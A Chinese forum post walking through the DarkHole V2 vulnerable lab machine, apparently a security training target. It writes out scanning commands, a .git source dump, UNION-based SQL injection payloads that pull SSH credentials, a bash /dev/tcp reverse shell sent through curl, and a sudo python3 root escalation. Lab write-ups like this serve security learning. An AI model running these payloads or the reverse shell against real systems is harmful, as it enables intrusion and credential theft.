找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3150

积分

0

好友

416

主题
发表于 19 小时前 | 查看: 14| 回复: 0

启动与信息收集

首先启动靶机,在 Kali Linux 中使用 Nmap 对目标网段进行存活主机扫描。

nmap -sn 192.168.5.0/24

Nmap存活主机扫描结果

扫描结果显示目标 IP 为 192.168.5.241。接下来对该主机进行端口和服务版本探测。

nmap -sV 192.168.5.241

Nmap端口与服务版本扫描

探测结果显示开放了 22 (SSH) 和 80 (HTTP) 端口。访问 80 端口,看到一个名为 “DarkHole V2” 的网站。

DarkHole V2 网站首页

使用 whatweb 扫描网站指纹信息,没有发现特别有价值的内容。

whatweb 192.168.5.241

Whatweb指纹识别结果

目录枚举与.git文件泄露

使用 dirsearch 工具对网站进行目录扫描。

dirsearch -u http://192.168.5.241

Dirsearch目录扫描结果

扫描结果中出现了关键的 /.git 目录,这表明网站可能存在 Git 版本控制信息泄露。我们可以尝试下载整个 .git 目录来获取源代码。

首先,下载并解压 git-dumper 工具。

tar -zxvf git-dumper-1.0.8.tar.gz
  • -z: 使用 gzip 解压,适用于 .tar.gz 文件。
  • -x: 从归档中提取文件。
  • -v: 显示详细过程。
  • -f: 指定要解压的文件名。

进入解压后的目录,安装依赖并执行脚本,将远程的 .git 仓库下载到本地 hackgit 文件夹。

pip install -r requirements.txt
sudo ./git_dumper.py http://192.168.5.241/.git hackgit
cd hackgit

Git源码dump结果

成功下载了网站的 PHP 源代码。接着,我们查看 Git 的提交日志。

git log

Git提交日志

日志显示有几次提交,其中一条提交信息为 “I added login.php file with default credentials”。我们可以使用 git diff 查看这次提交的具体改动。

git diff a4d900a8d5e8938d3601f3cef113ee293028e10

Git diff查看提交改动

在差异对比中,清晰地看到 login.php 文件中硬编码了默认凭证:lush@admin.com321

登录与SQL注入利用

使用得到的账号密码成功登录系统。登录后,访问的 URL 中包含 id=1 的参数,这很可能存在注入点。

登录后的Dashboard页面

首先判断注入类型。尝试 id=1id=1’,发现单引号导致报错或页面异常,确认是字符型注入,闭合方式为单引号。

为了让应用回显我们构造的查询结果,需要使原始查询失效。构造以下 Payload 来获取数据库名、版本等信息。

http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,@@datadir,@@basedir --+

SQL注入获取数据库信息

页面回显了数据库名 darkhole_2、MySQL 版本等信息。接下来查询当前数据库中的所有表。

http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,group_concat(table_name),@@basedir from information_schema.tables where table_schema=database() --+

SQL注入获取表名

发现一个名为 ssh 的表,很可能存放了 SSH 登录凭证。接着查询该表的所有列名。

http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,group_concat(column_name),@@basedir from information_schema.columns where table_name='ssh'--+

SQL注入获取列名

ssh 表中有 id, user, pass 三列。最后,查询 userpass 列的具体数据。

http://192.168.5.241/dashboard.php?id=-1' union select 1,2,3,4,group_concat(user,'|',pass),@@basedir from ssh--+

SQL注入获取用户密码

成功获取到 SSH 凭证:jehad@fool

横向移动与权限提升

使用获取到的 SSH 凭证登录目标服务器。

ssh jehad@192.168.5.241

SSH登录目标主机

登录后开始信息收集。首先检查计划任务。

cat /etc/crontab

查看系统计划任务

发现一个由用户 losy 执行的计划任务,每分钟运行一次,在 /opt/web 目录下启动了一个 PHP 内置 Web 服务(监听 localhost:9999)。查看当前用户的命令历史记录。

cat .bash_history

查看bash历史命令

在历史记录中,发现了多条向 http://localhost:9999 发送的 curl 请求,并且 ?cmd= 参数后面跟着系统命令。这表明该 PHP 服务可能提供了远程命令执行(RCE)功能。检查网络连接,确认 9999 端口正在监听。

netstat -antp

查看网络连接状态

由于该服务只绑定在 127.0.0.1,我们需要使用 SSH 本地端口转发,将靶机的 9999 端口转发到我们 Kali 的 9999 端口上。

在 Kali 上执行以下命令建立隧道:

ssh -L 9999:127.0.0.1:9999 jehad@192.168.5.241

SSH本地端口转发

隧道建立后,在 Kali 上访问 http://127.0.0.1:9999 就相当于访问了靶机内部的 localhost:9999 服务。接下来,利用该服务的命令执行功能反弹一个 Shell 回 Kali。

首先在 Kali 上监听 4444 端口。

nc -lvp 4444

然后通过 curl 向转发的服务发送命令,创建一个反向 Shell 连接。

curl "http://127.0.0.1:9999/?cmd=bash+-c+'bash+-i+>%26+%2fdev%2ftcp%2f192.168.5.235%2f4444+0>%261'"

成功接收到一个来自 losy 用户的 Shell。

通过RCE反弹Shell

在这个 Shell 中再次查看 losy 用户的 .bash_history,发现了其密码 gang

获取losy用户密码

新开一个终端,使用 losy 的凭证通过 SSH 登录。

ssh losy@192.168.5.241

登录后,检查 losy 用户可以通过 sudo 执行的命令。

sudo -l

检查sudo权限

结果显示,losy 用户可以以 root 身份无需密码执行 /usr/bin/python3。这是一个经典的 渗透测试 提权路径。我们可以利用 Python 直接启动一个具有 root 权限的 Shell。

sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'

利用sudo提权为root

成功获得 root 权限!最后,读取 flag 文件。

cat /root/root.txt

至此,DarkHole_2 靶场的完整渗透测试流程结束,涵盖了信息收集、.git泄露利用、SQL注入、横向移动和权限提升等多个关键环节。

希望这份详细的实战记录能对你有所启发,也欢迎你将你的实战经验分享到 云栈社区 与更多安全爱好者交流。




上一篇:Java面试B+树索引原理与实战:跨团队协作优化商品搜索性能
下一篇:AI助力Codex渗透三星智能电视:内核漏洞实现Root权限越狱
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-18 19:39 , Processed in 0.847486 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表